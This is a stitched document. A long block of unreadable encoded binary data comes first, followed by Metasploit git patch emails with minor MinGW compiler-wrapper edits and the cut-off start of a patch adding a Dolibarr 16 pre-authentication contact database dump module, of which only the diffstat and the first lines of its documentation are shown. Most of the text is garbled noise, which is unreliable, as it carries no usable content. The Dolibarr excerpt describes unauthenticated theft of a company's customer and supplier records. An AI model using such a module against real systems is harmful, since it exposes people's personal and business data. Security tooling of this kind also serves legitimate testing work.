zeW-*HKAPM;pe!IKS^+=l*omKZ?8J{(JMq(vop}G0dP>_>PXN5HO(=YlvwOhrT3T^G z!`g}8PqPz$r)VeA{{w)XNZ;^D&hF%*s(6~?2CMjpmb!f2i`D4qc5i&KPzE@dEhH^D zx29g+nyUWCRr&0w8Bb0lRzDih%2lmMkROwKB;hc{dhMSc1`usk>q(J zCwYF&5%YFTO<0((3R)B-jO?$5d|fGXwSecZhpXL!xZ306Eo}v~TfAk3bTdJ?+@2FL z2rvwUK45&lb0gwD<7b7o7@xNb{2W5tBaBDI>^LJEg-&-|?H_#8kwV9~403xe@lfn` zdl0R8#8mJ*&{XLiZv4cP=-YFeVYDi_~@pnHtZ`%Xk?!3JMwm+`T;a;s9NRVqSH z2RYd_AVP^WvZqeI4^V}WJ|$Xlxgd_GMq!hL%p>&ugF>`?iC0ru2c#BgNs;=4f7luseXtv6c{{*ZvIWfjm8B`(*+QYfwtoMYmRLK5ejin+WmU?*`AiMN}0+$^VJyP_*cCyH|7 zi>88WkkL;+?HBY_P9DFK*WZx6{h>XuPXY(o(rsK_)wl}27QremAw^kco*AIoB7;UD zL7FG9!s@_q=&CD&qoamt0jG`OlD>k1RfP0oDfX#v5px~it0F8To@eZ4q4R+Q0{sF= z9pB3UA2lxSnQo5j5SReSGs4cIk%`i2uQg%!^mmgjrF|#pPsI0gW5i&RfMyS%Qg{+D zjQ1tYJ0vgi7JxVv+5qsFv$Bdy--Q0QyCn3F#3j*{s7WcI0{~x&D}{%2iS*(ADVPA* zHy^NpXlcZbgwQl2TZJw+vPq~9uP z11~y`gIWMEz=fm=9-S{NB}xKJny7x{gW2sSgcDp&6^v%(cXEE_4sTFjxa} zCdkI(QL^$bKNP9cTmhl80d!t0)t+{2A*ly@0Vq0pmv_YP?ptl3s%@!{DYAp->@YqC| zF9XUQBVHSRNM0u|0W>63OW_eR@QkDF@)*wN09+Q59?8qTTB)NSQ2RDj{I}KCCZyUb zgVpy{=TC%^k_>&JRwJYNM#b5rp@ce1wi=xmq2i3D(Rpd%)`OgwEPq@fre-A7uBl}$d2K6T$9Nf;^RqmQr`@(B&Ot4@DG@B z_x?fOYaC1(dWjrs26v>=UQy~Bw#~DJ)6&~@p)tvi>1&vet^??!kftZbwvav%YCn|u z5JVak;0q0xHo?lZ`LPi1vJ-wyQ^XbSq(5?0+{|j~cmTjXLaNf|BGGT5B$tF#tG^^# zm2xSrs*sY>UjP^*LiYk`-g&G_pLA@YUxjSpkyc@okiLg6X|;2rV+$=YcHi2s2Hr4McZ7@4DTIn_+Da;GslzRLTO)u}G*v9}3ZjdS@=4swoO5O1CuRb7A5=%C@?gEHriKjhf`f=S~K9+x`!q!(TrHFn-H?})!tnKB2f z>4HRJ$}yB0Sn<9G(9jUR6Tsj?+W|tLJ1^q*tcr2W{Hhsa^ZG7O6BU*Wr(|uFs_h^r zRrzLcSR%0^at2zD+#LW`5zYnOYZj&FB?BAw2+#OFG8&*7g3z4od=w_P^d`4PFvv~ zVdav`Vzl@H7k=bQ3iTjE7iJ5q7UpUxt{JzoU@@o;_#CV`^eGCvj%0;~xq4>QfyV*Z zR7mPm{S4t%#%>Y%h>^`gp8^QCwRsV;HJ0(lqP>)FC*HDg?Mhky-B&Nq-UwW6dRK)n zlZmgq10}|yAqfP$dYr>-8Q>L&mc`3Y!;BX@!JM_l&^ULi?86p1t)&E>b7 zNIY7+sKnf3j8-AN{%RQc`IHHHk$DQqVc_U#g1rpTnfMS7%3 zXNA;TEHO7xr7WuLI@`uOnCmSj-YRq{z>5NGhN4ew8eU`wvY8_i}ipX>k%!` zoD~#1>#WWup}T>SmAqPTorng2TYbvmQc5u)d@(@OECM+_6S*p3^aQz;Z3XRQ;ugby zhsF#-Z?CeR3Y`fck(mmfZtS-6K%0zg5&9}Hg7xp@@fABB%LGS#i}P>0%ijaN;7FnU zF}7M0eiMMcM}j_PWNaKiv0Gp`g%i3~O6Oky!&o&=o{$&mKDp2=l%^eBnKU6UQfd>K zLet_aBImd(>WovdSx9Q3Vr8sXlq_S@9f6?ig8o9GS+0S6kK+o-446|$WBTUC`)s#S_~nt@vNt?lcL%zg+Yvn4ZvuT*c-bl-w9PpK~SkPg3eq>!t< ztV&E_DD@N|JDz+P0UeYU@3Kk$J9d)l2 zb3JtoSIR`A3hY}5`ig}2Qp$^_?d@%HT++O$;1u+41CpAiQ{t=!DuWSMrlTGNDLGC2 zQpczCHXpq*M`J-S@u){4}S_Gh>kUk{Ige0UV9Vi!tht?%(WDdXzu2MJ)B>KkBq`{c$1nPW4 z6$$R@h-+8F(fu|`Om|fY-RN4LD=eS|p<4jDl*@~_!|{beMU&HtZ#uY~>ON^THwx*q zp7iO0qbYVGK$^clHwohH0L=(ZHL_V~C14^^eV#}yqo$QsaaKr`^UdqI?!7B{o!$X( zqb%0?3;4LR&Nl%xBP73~%6wlVICU5NFFFySP$ZKOK}deEzp49>k$b7pd)bz=a<>4! zP^Ig|mRvQ2dJbP`h3AV zmCB27HD*=gfq-7FE*xroiEuMOI=V#97e%{X6eNit<$FL98y$6F1gqo8<9WdVD=FU> zcsb8g|8-EQnLva$zBE!x{@euZ&-YOKIiRdFf-#gi3LxTzrW@HJRAl|QLPxP3ph7|! zBU^>00q!kUqV5EAI}iF?bV1ZJ?gD=khn5hX0JTcyK}S9ca^jH*aUDUVl~5O;AP`<@ z^rXD-2aJwiQkpWw)If4pin&!mMfLYHK_c`25!n$8DwKh;BOUAj>q6mox;?kJ5^0%A z??%3silnCSAx2Ni3p+Yi6QN)#d;xa*5vT$dB$X5%7@(2Mi%l}CM??2GQs`>{gQ#2h zdyXyi5->u`!Egzxb60=VN4<3~)`8cd4WB%I(%6%a&i@42-vYXW<5Z+88ZAh5tF;ie zR8nVe13N|H+c8ysJWVuPuk1}&J&x2B9csTZlu#}6p(P^P1o)Fmf0+3Eq=jmvc?Hca zfTc@v@~6Nxq_RSXGjQPl+GO|%vPdT31K$co)4>WPt_KJM75uCtg}w_63o4#tE&n~p z7u^*h)hg=?3qmR1SV2T3^_h~;XG+{z+I|nUNDCQZM_6mpAn3@c@JaG_)U*rWc3;ovM7{_xJ=r5W?HTC&DAS->=s2J@yzI7e z3fEPtLakyAA&D37B}5$=1*JJb_;`RhLFj~#4JtUsafW!Muw)9h57Z2wC~zW%k28@d zjySWUj=ySDxE|2AP$%h?agk?WhR2)1YEifzU|&wiD*|bUVq1r+x*_kYPDF$g;4iZ0 zS=g^Pya<{}S?JqFHvbTG2C*O=iw>?_3`iqMZ4c?=kPb^QE~100fQ&VX2Q^o?6djaFwz$&jXuAgFT4^h8 zILJr38^_-SBm(T@tX~y z0?WcwUURWbU_wbXst^v>CPJZ^<|ajAT95V*wA!;mCmGo$@h1iL%gpe~!vueM|afRdrZX+tIL^u<*#U^T&rJe*xbwX0Yq(%JF z_|4L$Xyu{SwOafofXRiP1sFtE?0FC!jT9kR`Bt!=nTZA^j$5Eh2UEyRqzpZ;y9r3d zj%uj`^g>0&xv-x0vmEIDeg?uF=>nlrE~`q37bJiTVpjlkR;U|L3-QqdsfW9TT)y7` z?-784Lghr<8eCr|r!PVua`K-CZF3}l?I0$?qZ52Bpm8R=4xsp_KzBJ(NLA3CU4wK- z^h53vf1~3xs0=`1p|b(o&;bAMu@?)}aa}M9SO9DVb^+ClnDKx=HbSq$cWZ#Jk>MT% zGQ_=Jc>OM*2lx!&k1rwrW#EUvPXT}Yh4PnE_7-GsOUT#5)4k-eKqKIfvB+!5Aeana zaAgShf&~u)M^M+>67^})&n3#Lyxv{wkL2|v|3vCK3Gi(RPXqjsyq@HDBeNXvx(N>^ z$|bKS`R_$0*$>~&2Kc&p*qFHf0JJ}R8Q~;<2e$q_kfE>HM1T2MMKA`a2ec0Mhdv`G zI0(>ZB{RUefIki!femw+VeHJtUD}bI5e0%R2g1-*F;3L5Oz*gV~fImJp1Yaw)CjqUOcL2Ww zsuO-vTnoklCjg44a{+CXECT#7We7ey<)lBx1~388jmIRwA3L$bE5JVhzYwTJhl7B_ zfO=pe;Exxf51_44fL>rO&;na8bJg2z^+I!PNclswbnOI|hOi#&5B(I4ett%vUz2JW zP8j0e>vT2>P{{Yk^My zw*sFA?gAbF{ILys2jG9&#q;l=t~-GTfo}l%T!KKq?vko;PzlzD<2Gopgoi%)q*o&T z0QeE`W8jy-vw(g-LZ92xFHZQQj5%u%}K90yDU?f{DG)34S46HvXUkL8JkfVv({)OQeID$D5@JBVY z=WT%A4BUQ+|3K&_})n>j8bJ&L6WOJ^-kluK?SCX8?cf zh7i08Xou1tEzp+$ev|Km&>sbE1GWPGXdo|XgKq(#ob8XdLr(+z_FnOI^=%=b{G{Ek zn*iA{;P1c!a!Eg+r^kbUKlJc)YRFU0 z@yGk2*8|E;TN8YJB$CfV2Krc}emce<_0UHFZw35kAC)^M1N!)>Kek~5!4tsY=zJug zImI8EV|636I|M%;`0Mi9!lX; z_IIx7oVcj4|H?T!QbB#7UGs9s$6(e0CSwA3@OL!8Knh&2-UHP@`B>)ba5OlaOnc|@ zRXv=MZat@?_p()-)faH2-uQ?EVc!YpDX95rxY8%Ad09u-^4`vVCX9qW&vCYy@h^QC zS{$zcTO&?;2iEB754J^|i7;Yo(67{=xORb+^?xQV?&$9bPgH9~3X!5?;=;Z@&oT{D z$NJL(Je)qMG>fRP9vDT3Hfhw;J;@vz7GuFfJ$>WcO?_cS$AmIU{1quZ)-OGDm!Lz7 zl8Th_kh7aH!#|l&h6Nom_53ZBnHS1P?~2q${+1r^3S|@@6{$xsQ^-h&>W)JP3oK-Q zR@xB!eq{8!jVOx@%YiaSF04mMw<7g2e^q0A_>nRVRyb0wx@=k3^2<(S#4PN*tZTU& zGuoumA>&m9?JE{uuCo&W7l%6Ah>WgVY={wj1#b3yU+p~;8&qx7 zch?3sTIWjz?d|PmS9_!v$U8blfg)=}5$@WOogYF*`71t3?X2DvDphLd@-|e4R9sSK&S=rW{cveH8tQhCv3$YrGha5Bi$gZGpnmHm|ST=rYa8UKq8`F+h^ z{I1NVeC9IS0;uwSzkw^x@5?*-`}#Y2`(wxZn6E=&X;E&(d0$9h`LiOW2q-+fFJ{Ab zF<&a967t2H-s*j^1kqAC`9iNJbH2E*u%YlwcFsUMJ8SNj_JxP+d?Hh)v-1}VFNSBD zWi+?ASw{7g9`eP8J@~?puMHG+c3$1py?9Ya@8UORXXScl=Tcp~owHnWb{;zB-#yXW z`9G0XmMJ`B=e6|9*%{$7hwMBb{@(1oJ+kxEGPStbVaq<)P~LVnT(q>KcUi}p*o0PZ zJ%(|yT3Wna}y69!gPCcqr!I%#d<1ua!HDqC+wNLKO4L9;Jt3e)}H$ zr4q_N7XU8*jE7UGj~^G0a>e;{ad)>?{Y5@KiDLD1YN$1m&rwcB`KL6Ny-ziQrA661 z7Ou<{&(5b1We(-2Q`n4k^TpkqmBxqs^>&=@#?Cv+)DqZSAW!biU-}k<^Ox2}R9tk( z7rXbt7i*B)n=gJ&-Od;7%R5&uTd_ECN9gU`V7?f_hT&rH_1U@9e(Iv^{On|J=k0Jx z{VF@JjO;vgj@nFVXJ=_fp`t_MB8`Bv^UyhJ3~fn^a(5Fxp7osF*|5L6uWw~fQ8)*0 zBLJNZ>&wQWRGW*;pxL>ecxBbJW^sFm-Az~~2{~5>4ahorjOlm6xunInO?sqnQ+}Z8yRP3-Ib`-_;B^ixG3s- zxw{+7y)&krK(Sb#xDHXFJ{KLkcbRF@V#s=M^Z1J{x=2yXP{pUE@jMY3F4-}Zj4mqX zA2`{^{KGiwI9Dj~S26z?lySM`Cxu21<+K+45C(K>(GS8c70bYSlq+sr)I$+IMTf@4 zv}jx?)0Ebu`QlZIx-}BYmpN4ObaWnS?5K$53w`Lu<*4i76vb+|XEhcXH@?;^U$kNw zNh%&;QOw&YkS|J=c|9@TP4S`TchxL^UGsMDuc33)8f>_?b<|GkbG{flM}38U?JY;m z--Dffj?$}EoDCOsE$=Ga`TL)?VNYa3S*-AIV{rOK8WTf~FB{9#r>W$gW#(KY%k4#G zn(Q}}jM|V-TbQyjHSzOB&I;pDG8%*W=DG7}yI3WM#+Qc6-hBG-(w_%nSU`Y zxSmcyk5bFaJHb1>ckV!6`JnKScl7OU=N)~neodRdY4U_Bg~ zD>{@RPo^O^DnG+j7)6INq&{8ZGGyuODRE`U4SVpiWRxN6QNd-%44guJd?Z|soQnj8 zPWzIcNezY3Fi5e@dx!*z^mg`j_D3>NBsh*DK|U%xUQb@#QzWQXdHD{OVJJyk+R-na zQ|0B~L|z_x?RPqId-LE=BM)9kTNEfd4b||i$kfv*t(IM{ zzYJ#$S8T>N-M$HDZ2{*|ID>S-t+6Ha8#w)uOsNO;`Lxp|7#*+2gHg>X*{$&KyTlu? zhI&wu`dgtucqT8uYnu1+yAO2lyDAiwm-XgT=jB^V!vJyR%m#Yna;Cnur+K^Z$RMNV zaeEqZdIq$SV#^}7`Eu3hzYa-)VY#>|is6yXCF2pgWuNyA#rJ_vh>XChx zBVFi@*AqWcTV?J_sMs>V_9h=22hxyoZsDQWcp4+S*!W%H#qdmiUkB{T@ABzEM4!t5 zPf!v@(IKDSi5AYM2$wnJ(=mjetWxeyTt(zleY(#1^b9zJP~z}D)zdZS(>48T`pfTl zxL2{NtwaSO`FebDJ!Q=Ad+^2Y`ACMF^?r)9dRTbK7vCaUoG&I8UJTFVi_O5^vhj0~ zFNWUn&?~)%va`3LzTxL=$TQLQr5(!`cXuWipeIs+vtfPNm8Z{{v7J9njfHXedhC1? zcG#Ppzr|*nv$I|;R{CsMcGeHXIy--zv(iKP@WU7xF=FErWo6`xM}fVKi*X0}aq%Xy zNNH6X7y1OY8y9aWRR)g6#r!?^ONBHpdZ@>Ziy3eV^Q!mhaM;eLY+dv(O+KtpHNn}` zQBVBX>{+U=$>@`#ABBo@-D)^D7jSNXvo5U1X|hS20+}sv>ab5d=ROT*W5n_CKA~*l=EC z!yayX7bU~c>ecUZIUAOrza(@pGFvTHk+D(})Oki+oVCt?v$24qP2+ktA7Yt4I136m zH^R~9wquzMDs^y@qgQ!sjyR=${~2-7U|RVUp@$FnW+E)V zkKl?MJFCkEkn-Uo28GLqdXr4)kwND4C^qU5D6LBQP&w1(!!1yyhsNN8QT)6_Tcu*k zhni_zKD?l`5;%&n?R$tZ71Er$1rND=ILH}OSK{zvxr45_e5enYt>&XL@g0Wu>FwxD z1?9(SxEB}ultzmVpAWaf-fzE{ zd0&J%b1T>PX6LQfc{`7%Aw_@TAv=F5vh(i3i{Y8Z&PQ2qxUq9mSs9HTeae1MYYB~u z7b9P6qaGMVhsMQ;*wKxPV~ei3Q~B%kJ@`vf8W*Q?tL?@`29B&5AKs^*FY;;6k`=o9 z_AU+nh%UQApO#xEu%Fqb&!*K=wfW1M_`6CGkjkshzawx|mZf#fIRcKp=Mr;HhO_I? zBxkxxG2~*IOX2J&;4Fu;?x>{9HE=dhNOC?2C%~9-JztW{@k!2i;cPr1$=MDkdt#FF zdpH>uCviRhfU}K|h&cyf^`QL(dsgdkgsfhX z(kEvxF06<%ttFnj!HvaY_w7HKG5PaW&H{a0)Z^;D<6Dh8%8lH8i71L%v;<%B(Q>#(fY=3xqUB{qu8WqtI4eCAEk~T?v*=BQ z3Wwr~mdz-Ifti8=sryW8+qG zZmF1JV;k(f#fF}7xY)=>IwT3j#y4mB*jQ`(BgyNc6&rdRq01!SExv5$ij58X5F6v^ zxQmU=lq>9)j}1NY3uB{fCb^glu;ap^V?zpcA+zfupErE8xKfIi^U=5P_@B-a8z1(O za5Mcmvam7E6bX~-eI)4n?xlw!VOqbBgfCD}shA>R*Ipt)UVeL<_p*DhOL1%RvOewX zysWq?J>=yr`{3oLA}?Q0B@COy;k~SHg8O@rGSh{98@qw&+SU@ZTkg=ydaKDcs2#4X z*1@SS;QSk$x=X@(tdcLo$%Y&kfqG%=4*C_>^B9~cZ&<0PBm))8JPRlDE+1nO`ZJu( z1)P7vS$AntrkW9%X-{%S!`ZdKbJ}}O=~G=>0oPW0Ps1r%RSx?6qszf~N^M){ONlcX zPTk@p=bdmC6maIiS+^u9a{-)$7@ohyY(4vnuruJ+^WxiPNBLNSf6 zI$~AIR;23r>tY5XI<#gxmWj?~+Ck1r4~@ao$y#pBwjR+^F^$0|ak?9W+=!JqGzPct z!x)@TLoU^}JG+RMGaen_eE{u+atRE2$p zUgcIYg5CHUk7Qv^h;pX+LUomlg6Mfc6!XEvE^VugKW#K~2LDycaZb^j&I&kF^x4z` z&Z)W=2|3|+PfmYBt=CaWLCvSAa|N6!V@g^-sHFAG8){wOrYvadlvj(}nlieWbE;mE z9hM6FKKl)|UR~1q?&7wl)D?41{THLMu=VU4YQ3_g^_Pp=nliGObLxvFt(7_8{!B^hFPF4_e@W|W-caj1OIqJv()zBF*6%E7eeeyn{#;4x zPnER(d`auKm$ZJ<8)|(=N$YyLT@Yhac9yjM(UR8Jy`k2hDQW$OC9OYK()!IMt#5ck zt!qEGpr@xiTGINClGfi-()z|X)Vh9{q_Fk>r@8Bot?Rn$FDiph4G>sGI~Y?`rCUl{ zlOK*7L8m#f-PprPyx3_%8|mcwy=(i<@7?$M-m_zeB84uf5z4e|4Qna|2vZmlDlDLi zMkqs(=ujy6Bct0C(1bD;LBz%g>V!&JTRxxj_j|tQ z$Nj~(%LGXGw*>oP!G3O8?0m95;M#IYuwN7G4Z(hXS?reuJFgrD<>|gE*bfT!3(I1^ zB-nWeSICZ~RfzQP>mXLfj z>{pk?&aZC-nzx)5?ASgGWqLj&*sm>%{hVMwCD_jk_MZ^!*O$e9R@N%Uw=oG1 zTmI&<*v|;|6N3GmV81EYZ!L@cv|v9j*v|^~e-P|%EsOn>U_U0<&j|L{1v@|PjEr}< zmN_Zdj|%qFg8iakzk6Bi#{~PFU_T+)PplC8QNi98?8gQB5zlU)LmWXLv^%Ba&364z z@!DDy`*mw{`>gG_yP|3)+xcm`GXPFJje%TKSm&aUuqhM2Otz+)mw5?DC6l2Z>=Bhl zYI&JIhD>e^YexrD9%x>563V$w_DQUT=~jj0b_+Aj9iB>H7VZdr`-a^-?eHj{z@_K1fGMynoI^i3W>W$J7J5} z!0%ec`}6@65_bZ5eckK?_7~2YLweIzSO*HAXW^ZS^(c(lso-wv-GMH*vy^5&b_lme z)@$Rz6*=6&1S_AncJH)x|laW%Fr; z^owM!rh(79x>@V&XKE2-g#?u`&(KmkWq}zSEm(48_eS>l1cD`|W3BECk7Bjxl zkM@y8qHjEkW;4DK-aX+8M&H=K1m9@jil6a~?;&f!7B>DI&3q%`ZTCriTuscRJ_@}7 zD_^QxyUXHcyTnF@c4x^$L1}l87G><6PD`=-AKh|x|82A(y(CPu`=3AL?0zLYX^&{r z^S7}n`|^toXRj|HXIL+)qAli@V2cB|S;c! zC~hvfUO5Pic3aGX4P?DtG`{j*&VnC>v>dT$!5a@d3-XC6nP|a(&MbI93IL%6Z{5a% z9I0<+(fIz3df2=7H=UKgiX;42NQ}k@vuG^6lH&A)3rp~XS29m%BUfincq8)!YUW+% zVLA)ssl%KMz%d6xlhSS%#=_l;f7?*A=~1$p-O?WbJC z{vr@5M&IBb(PF;A{!S-cga6&NYT^F=T;@OKqdyQ268n22>+kexndoD0Ey2fzGao|* z7nqrMqn(Y9O+?dl>0FvhqZ*;(_{X{1U8RZk)J%%C1xsKMH|xHny@hqpDX>4CZ|ujh z@r@2Lw!gPgFBGY>9&=S_)4e#a*;nxwy~HPbO|#pV*)jwIb{T`f91$?oC? zpMuo2SXkz<`ypUtIL8Q+n`4hGQg;_=A4gWxVlL9Ib0y4XR{w|Xvxzk^^;$U6`ZBu~ z%az&Moo~SX|77=LS-sFf3dz-?;aYwXySH7xSjCmKOdrRT;g;_2Ydb!b;C$Z5aMa^l z7iIbcryeacL+kW(gVSSVsAs3pO7&c7{tonKC0w-uh$NiP%FOb>OdVvNXH9jzD8u?nJ)AY{N2fM( zQMsmcbw_5M?(ANy|)Ea;4=}x`eFA;=nasb(>|`+mbc_6rD*3xW-<-IUKQ*| z1v|fgXUp@yVy_DJDZze3us^jz>{EihBG{i5?1L-BUJ>jE1^b*}|D_dTKPcD_2zGP} zXJvaY7Qg+r5_Ufz*!K%|EKePmW#_*5O0e%2>|=txD%jt3bAT+?K}4rJ>v3a(eMGQN zL2uaKzrRB4oPh+Iw+svRieUfd3b79h_CdjZP_Xlx(ko&2LBZZH*ty#mv`^2MR*1b{ zu=fgfu02EclPkpDE7%_w>|=ucxfNo6T(EBy>?49bT_N_Zg1uX?4-59ER*0RuD}hb7 zY!K{&g8dUK#J)kWKO)%s1^eSG#Qun2UoY5u1^c=cVqY)VbE^`&OCwe;J*zWzrOM{Z zS&5nV;snx3%ov&8d(Z4-;Yms$b9R1cWd7R9@W>$F5V>vusoI&Rc`tgRBE7GSjZEZH z6U{irFLU21)(-exD!qwZZkA$@)z~dFcT72%4+G)&h3eZ}>w%oNEpKu?2E^QJpeiaClujw2RH$yWrpS3dBP_|sZ3xxjc+4-ht#unxZmKVe!gnY;2_nIEuAZC}D)1`^t0H;|(N*Eo<18NxTxS5>*R7Ns*Sj~}JF(EL0R zZ0&lkGg@YC4*3fp*D}r2a|H-j6+YKZARhwax!wliX5FUl_pio^12Vo19{|GS_4EKC z==BWZ@KnJ56p)bXQ$Wr@Ev8big{k{tzN#UoXC5*~0zIDr!erQ$nn`(e(CpwjTl`KS zL+L*O!nuU61;0akF3|i25JrA4b6x290gxXCx%drAlfb?TFBB@_bRqpLWLPhw8Sl-Q zX_s*aMUwB!AGLZsJHJ?YCE(f)B=o45xdKo4bs)!rT%QAS5Nb_3vuM8$tjIZ3DjydKMmwZ@RMVcK@y>7 z9?18CGCvRG3>@0|559Av@Te)0=XwD$9#IpAns_aH=}6G>=d?_3F4wC-UJJPXiZVev z^Ua+(%~87!r6seE4NuVL{wNar*UzsHz?1; zK-}nHxE=$-SjQuS{0fj~gIo#-J>1L81Mwb3cD$gvbTD9l5i*zEt`TzMd#pf?2by02 z!gM$O8TLy+Mgl#r0~yA7@8SOhgt5h!=ih;tyC2tDJ?{cBcViMUQ6kDk5`$Dq>mcS^ z^&Z&jU^b%RROy32%>A@R58vUvbL@Vc@$3&l=H39=41_V$mw6WucNNCe^eG^$m)BDT zfMr7H>6}N@1YhG?IvV7<2f3JhkNdDdHUis67$6scd@Dd+2SO|RHvD@a zw6ft+ytqA$5%nu! z<*8=LT(5M#aUW!QP4%s}d<=+NDWDg$lF2lxmiA}XfpBRbWM1}~YsP|&K&Ap2KhtBb zCXmZnE+W4Hgvq!3OF(V}GJgoT3O)KNs zPXlRZ?9BhCR>o`oTOcsI(Tj{lI+t{38&`dG`ObdOY%DoJ=A4@;m^fai7U)EclB+{P;!bZ9q;3CERWG zc+JxS`81FNL9WkJ1|)`^?+0Ks9t>Lbi;y`HOq)n7p1h1#%Cp7siC21F|(}jR%3e6(E~|tPj{f3FPY;qHxp| zPhpwLJ4CuF@%YT7ikeY68MoYFl1|j!?`V9y8PB?-YLaG|0u8WvCWEoi>a}Xo7tPIy zNje)Sm4w@Hrm+)ELSd|q&1cYf_ltzt~X0+Uy|-DoGnP(&;D%NWLG{F*Z950l_JJKkyD$Q(O5DUZom*%fVK9*?%PKtK&|-$1 zc|lOAtI2A8JgO?ZPOI5sCJ(W-0I}T@80K(XLG#b6YPp`y+BR31JU41U6cw){r3mZMh?C7*dsK5KZ6~!Dx_Fc z_T_1{_u>NzJMntcfhG%TrBK=2hZTTNrZb2`<+z~>W$%$j3~)K{UUHT|O~>=5fx8;~ ze61&@0E_DcR28;mc6F$y+ptn3s#G$OKzZ3zMdoP6wfbxdZcr_RTb#aoW}rUU!_%)KpT_Zc|Ohn^ALK z@m{way?fs(Guiias`9LEb9bmW6>_H!5y0nMwU)e42P}|@YYCovNGDXiiDKxE>ax#a z9g{CY;ZWynMwMhvHR_$tO;qbqpg`w{B`gpDObTSKTB*1&eojo4 zt8tVvt}C@YR~&MiF4VvZ9N!3?LnC3)I17K~nq13M$Q7bCQ*E<%*~%oF#@$bzalae& zLtFC4)u1AnBRauKGBM$Pk8jGI#&{QQFSIu3E|sPuhCZg0{Z!7ImAd8WzWuWy{DSql(V)LOHA@(9b&vMOWA-9SLI z^6pgb4B9hpbCkf{*qQVc<0Ptxj+|k9iiwOJ)S{%7WVVuQ=J^>c^X*SFiVy7S=NKLi z)JjiE^z9~HdI|%t?$SeVSI?F$o41tIlL@9UQFWwQZ)2qE-Pl9rd-m=c8^X+BWOQI} z|8BKsV0d?*8Xg)QBZJ~2G?-~)u;JkoaQI;p4$a`yKel_17e>HD)bB(h20ZgUOU8Pg z$*#s&9;h(e8ukJi?A=6zPwvn4ESvq0rckmY!(XB0Cb@I#Ib+sd5a^B{C~*7z$gh99yC?8UiD5 zf)SktY+<^k>JzLedI6gq9w<-nGk8t32hV7|#(z0O15%4Vg^{N@fkPH zo+z!@GjNS0a}tw(Us8$tP@b{+PQ<^2&DFaZk;r{+xuiO_rO}oYwW+Aqnlvjl$C%i? z92}1)lkGTd*?6gopYO&cP67fSvOenF!>t>VcD3EApnoX5dAsc06VDu?=#{$rpuJYP zvtF60#%6J`%^MwonX7#^O`(IDHN_NqGp1+blVx^(+|^#JthpG0>ds$!H=%2&okP2J>{CO#M#r`d53Bxx?R$5qo!iC+2lni7rL&u{ z;MNY<$lO7f-EPO>Y_7(zGTgY{3j8{N|odg`5DZwa99*hK>7v6E>HvqVau4f2NH zN5c=-ql%4-IY%f)OV_BQW+^#@7BbR9+s4Au+e>I}n6lOk)=L&Ej#g-$g}nx)&qgNK zj6uNVs!R7{2)3Jcy(D5KByh#Xjtyo*741A3>!mUlac1hOR2HcEf>DBHP*`@W_I!hC z7_~6|;+OTpLrKbIw5m4xYG_t$1(mRRgEfL0GZ++l z5nWh&j_yQkVpz*@LLsuodMGiqgtGu!c+RM$3Oy~?v)pjqVftaO?3C01r@@^@SFPJ# zRoC;YQq{%v!Ksh1ZoE*_Y#7`*0nNJs(?` z1%slSv&@#uRZJ%^xwW3yRQ(V-Ad7D& zOUSG{rYE+BrqS~g2BWD_Zdji&$8-V=udSJSIJ){!GXx2ln3|gPKlY#*X}K2&-ufg=(T2O`7>vSZE(c*sSHL=~jChs|y_DV?@5| zn464rXk2g#hUUdNSs3lwH6-U+@vVmK%~Rz%cgphDp!6# Date: Wed, 15 Mar 2023 20:58:42 +0100 Subject: [PATCH 028/415] fix 1 eol space --- lib/metasploit/framework/compiler/mingw.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index 15d0b4a7e4dda..f793bd3e46c46 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -30,7 +30,7 @@ def build_cmd(src) File.write(src_file, src) opt_level = OPTIMIZATION_FLAGS.include?(self.opt_lvl) ? "-#{self.opt_lvl} " : "-O2 " - + cmd << "#{self.mingw_bin} " cmd << "#{src_file} -I #{INCLUDE_DIR} " if self.include_dirs From 5a1fdbab5049e2651626536d3a42127762a9ab9e Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Wed, 15 Mar 2023 21:00:13 +0100 Subject: [PATCH 029/415] revert newline --- lib/metasploit/framework/compiler/mingw.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index f793bd3e46c46..fcfff11fc45a6 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -16,6 +16,7 @@ def compile_c(src) if self.show_compile_cmd print("#{cmd}\n") end + stdin_err, status = Open3.capture2e(cmd) stdin_err end From 4ecf222c9572538153eab6ad8ca72b43ba75caa1 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Thu, 16 Mar 2023 11:21:03 +0100 Subject: [PATCH 030/415] add iquote join() for x64 --- lib/metasploit/framework/compiler/mingw.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index fcfff11fc45a6..34eb8f00eb9ce 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -114,7 +114,7 @@ def initialize(opts={}) @link_script = opts[:linker_script] @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] - @include_dirs = opts[:include_dirs] + @include_dirs = '-iquote '+(opts[:include_dirs].join(' -iquote ') if opts[:include_dirs]) @mingw_bin = MINGW_X64 end From 3b710293f5809972a2b5ba437c734a3959bfe8c1 Mon Sep 17 00:00:00 2001 From: dsecbypass Date: Mon, 17 Apr 2023 14:52:05 +0200 Subject: [PATCH 031/415] Dolibarr 16 unauthenticated contact database dump Auxiliary module and documentation. --- .../scanner/http/dolibarr_16_contact_dump.md | 215 ++++++++++++++++++ .../scanner/http/dolibarr_16_contact_dump.rb | 166 ++++++++++++++ 2 files changed, 381 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md create mode 100644 modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb diff --git a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md new file mode 100644 index 0000000000000..dbaff7d617047 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md @@ -0,0 +1,215 @@ +## Vulnerable Application +### Dolibarr 16 pre-auth contact database dump + +Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump. +An unauthenticated attacker may retreive a company’s entire customer file, prospects, suppliers, +and potentially 